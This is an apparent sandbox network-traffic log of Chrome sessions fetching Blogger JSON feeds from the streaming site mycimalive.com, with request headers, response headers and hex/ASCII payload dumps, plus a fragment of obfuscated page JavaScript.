2024-10-14 22:39:51 UTC	14987	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 68 74 6d 6c 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 65 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 Data Ascii: <!doctype html><html lang="en" xmlns="http://www.w3.org/1999/html"><head> <meta charset="UTF-8"/> <meta http-equiv="cache-control" content="no-cache"/> <meta http-equiv="expires" content="0"/> <meta http-equiv="pragma" content="no-cache"
2024-10-14 22:39:51 UTC	15191	IN	Data Raw: 61 67 27 2c 61 67 3a 27 71 76 69 27 2c 75 45 3a 27 66 72 67 4e 67 67 65 76 6f 68 67 72 27 2c 67 45 3a 27 76 71 27 2c 45 45 3a 27 6e 71 72 6b 27 2c 64 45 3a 27 63 62 66 76 67 76 62 61 27 2c 54 45 3a 27 67 62 63 27 2c 4b 45 3a 27 79 72 73 67 27 2c 59 45 3a 27 6d 56 61 71 72 6b 27 2c 7a 45 3a 27 6a 76 71 67 75 27 2c 71 45 3a 27 75 72 76 74 75 67 27 2c 53 45 3a 27 6f 6e 70 78 74 65 62 68 61 71 50 62 79 62 65 27 2c 6d 45 3a 27 6f 72 73 62 65 72 27 2c 57 45 3a 27 76 66 5f 6f 6e 67 27 2c 76 45 3a 27 70 75 6e 65 74 76 61 74 27 2c 69 45 3a 27 70 75 6e 65 74 76 61 74 5f 67 76 7a 72 27 2c 70 45 3a 27 71 76 66 70 75 6e 65 74 76 61 74 5f 67 76 7a 72 27 2c 56 45 3a 27 79 72 69 72 79 27 2c 79 45 3a 27 7b 28 2e 2a 3f 29 5c 5c 7d 27 2c 52 45 3a 31 30 31 2c 44 45 3a 27 73 Data Ascii: ag',ag:'qvi',uE:'frgNggevohgr',gE:'vq',EE:'nqrk',dE:'cbfvgvba',TE:'gbc',KE:'yrsg',YE:'mVaqrk',zE:'jvqgu',qE:'urvtug',SE:'onpxtebhaqPbybe',mE:'orsber',WE:'vf_ong',vE:'punetvat',iE:'punetvat_gvzr',pE:'qvfpunetvat_gvzr',VE:'yriry',yE:'{(.*?)\\}',RE:101,DE:'s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49785	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	821	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586995&data&_=1728945586996 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	965	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:52 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g5UUE2j2FDU9aU5kjv3Z6gKjopXfkepjuD8EFMH%2BI1TqbEaDw0NfcO6fEqWBVlBo0KUEHvBPhRqYzd5LJfB8PKJOFA0x5iyAKe%2F7eXdYJn1re2ozlEsOaktdI%2BRQVdKLJqDrZ78%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11580c534362-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:51 UTC	404	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 36 39 39 35 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945586995({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:51 UTC	1369	IN	Data Raw: 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 85 d8 b2 20 d8 ac d8 a7 Data Ascii: /1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:51 UTC	733	IN	Data Raw: 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 Data Ascii: ds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D
2024-10-14 22:39:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49784	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	821	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586997&data&_=1728945586998 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	967	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:52 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iAP%2FV40dhrWSyzAHIungYHfx936t3wIw0wLwfMic9qvIQVj2IlxkwIrh89rYegugc7JB2MOqXZXIVhsrA7by3qp5e2d6Vo4hiO%2Fd3375rr6cVR%2BgCWXAoOjj0SpW9OKuTvp7%2Fwc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11580e804340-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:51 UTC	402	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 36 39 39 37 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945586997({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:51 UTC	1369	IN	Data Raw: 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 85 d8 b2 20 d8 ac Data Ascii: ad/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:51 UTC	735	IN	Data Raw: 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 Data Ascii: eeds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7
2024-10-14 22:39:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49787	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	821	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945586999&data&_=1728945587000 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	975	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:52 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=p7YwDe9i9i%2B1UWnqWAUrW%2BNMMnPZNaWrRenVur%2BrFhHjZ%2Bm6ZVMJxYvVG8XwV4DHI0xkrtY3XCU%2FZSuzKVi9hR%2B6nnI6M0CXfMYjsgK27IciQ1ZvFgW%2FHtMb%2Bb7EP9RiLPYCzso%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11581f671831-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:51 UTC	394	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 36 39 39 39 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945586999({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:51 UTC	1369	IN	Data Raw: 69 6f 6e 2f 74 68 72 65 61 64 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 Data Ascii: ion/thread/1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
2024-10-14 22:39:51 UTC	743	IN	Data Raw: 72 2e 63 6f 6d 5c 2f 66 65 65 64 73 5c 2f 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 5c 2f 70 6f 73 74 73 5c 2f 64 65 66 61 75 6c 74 5c 2f 2d 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 41 37 25 44 38 25 41 41 3f 61 6c 74 3d 6a 73 6f 6e 2d 69 6e 2d 73 63 72 69 70 74 5c 75 30 30 32 36 6d 61 78 2d 72 65 73 75 6c 74 73 3d 36 22 7d 2c 7b 22 72 65 6c 22 3a 22 61 6c 74 65 72 6e 61 74 65 22 2c 22 74 79 70 65 22 3a 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 68 72 65 66 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 77 77 77 2e 6d 79 63 69 6d 61 6c 69 76 65 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 5c 2f 6c 61 62 65 6c 5c 2f 25 44 39 25 38 35 25 44 38 25 42 33 25 44 39 25 38 34 25 44 38 25 42 33 25 44 39 25 Data Ascii: r.com\/feeds\/6282888993036066443\/posts\/default\/-\/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script\u0026max-results=6"},{"rel":"alternate","type":"text/html","href":"http:\/\/www.mycimalive.com\/search\/label\/%D9%85%D8%B3%D9%84%D8%B3%D9%
2024-10-14 22:39:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49789	188.114.96.3	443	432	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-14 22:39:50 UTC	821	OUT	GET /feeds/posts/default/-/%D9%85%D8%B3%D9%84%D8%B3%D9%84%D8%A7%D8%AA?alt=json-in-script&max-results=6&callback=jQuery11100049902415236919184_1728945587001&data&_=1728945587002 HTTP/1.1 Host: www.mycimalive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, /; q=0.01 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.mycimalive.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-14 22:39:51 UTC	965	IN	HTTP/1.1 200 OK Date: Mon, 14 Oct 2024 22:39:51 GMT Content-Type: text/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cross-Origin-Resource-Policy: cross-origin ETag: W/"7b373212863274b92a446240265131e037f19df0f9bcac38759e41580b8da756" Cache-Control: public, must-revalidate, proxy-revalidate, max-age=1 Vary: Accept-Encoding Expires: Mon, 14 Oct 2024 22:39:52 GMT X-Content-Type-Options: nosniff X-XSS-Protection: 0 Last-Modified: Mon, 14 Oct 2024 20:30:51 GMT X-Frame-Options: SAMEORIGIN cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=x9U0VagK7wv0TqTrE6n57Zwv9YVt5SzKLzreBflkcXZ3NsfsWq68HGaBPpKjAuF2l%2BtSBJVinZJQ00OP2xj1YWqnDDA4fC1cbpPEFnyAq6%2BekXNjsTbyVe%2FVp9alpzvkSLi8XLw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d2b11581f058cc3-EWR alt-svc: h3=":443"; ma=86400
2024-10-14 22:39:51 UTC	404	IN	Data Raw: 39 63 33 0d 0a 2f 2f 20 41 50 49 20 63 61 6c 6c 62 61 63 6b 0a 6a 51 75 65 72 79 31 31 31 30 30 30 34 39 39 30 32 34 31 35 32 33 36 39 31 39 31 38 34 5f 31 37 32 38 39 34 35 35 38 37 30 30 31 28 7b 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 30 22 2c 22 65 6e 63 6f 64 69 6e 67 22 3a 22 55 54 46 2d 38 22 2c 22 66 65 65 64 22 3a 7b 22 78 6d 6c 6e 73 22 3a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 35 2f 41 74 6f 6d 22 2c 22 78 6d 6c 6e 73 24 6f 70 65 6e 53 65 61 72 63 68 22 3a 22 68 74 74 70 3a 2f 2f 61 39 2e 63 6f 6d 2f 2d 2f 73 70 65 63 2f 6f 70 65 6e 73 65 61 72 63 68 72 73 73 2f 31 2e 30 2f 22 2c 22 78 6d 6c 6e 73 24 62 6c 6f 67 67 65 72 22 3a 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 62 6c 6f 67 Data Ascii: 9c3// API callbackjQuery11100049902415236919184_1728945587001({"version":"1.0","encoding":"UTF-8","feed":{"xmlns":"http://www.w3.org/2005/Atom","xmlns$openSearch":"http://a9.com/-/spec/opensearchrss/1.0/","xmlns$blogger":"http://schemas.google.com/blog
2024-10-14 22:39:51 UTC	1369	IN	Data Raw: 2f 31 2e 30 22 2c 22 69 64 22 3a 7b 22 24 74 22 3a 22 74 61 67 3a 62 6c 6f 67 67 65 72 2e 63 6f 6d 2c 31 39 39 39 3a 62 6c 6f 67 2d 36 32 38 32 38 38 38 39 39 33 30 33 36 30 36 36 34 34 33 22 7d 2c 22 75 70 64 61 74 65 64 22 3a 7b 22 24 74 22 3a 22 32 30 32 34 2d 31 30 2d 31 34 54 32 33 3a 33 30 3a 35 31 2e 33 39 31 2b 30 33 3a 30 30 22 7d 2c 22 63 61 74 65 67 6f 72 79 22 3a 5b 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d9 85 d8 af d8 a7 d8 ad 20 d8 a7 d8 b3 d8 b7 d9 88 d8 b1 d8 a9 20 d8 a7 d9 84 d8 b9 d9 88 d8 af d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 b9 d8 aa d8 a7 d9 88 d9 84 d8 a9 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 a7 d9 84 d8 ad d8 b4 d8 a7 d8 b4 d9 8a d9 86 22 7d 2c 7b 22 74 65 72 6d 22 3a 22 d8 b1 d8 a7 d9 85 d8 b2 20 d8 ac d8 a7 Data Ascii: /1.0","id":{"$t":"tag:blogger.com,1999:blog-6282888993036066443"},"updated":{"$t":"2024-10-14T23:30:51.391+03:00"},"category":[{"term":" "},{"term":""},{"term":""},{"term":"
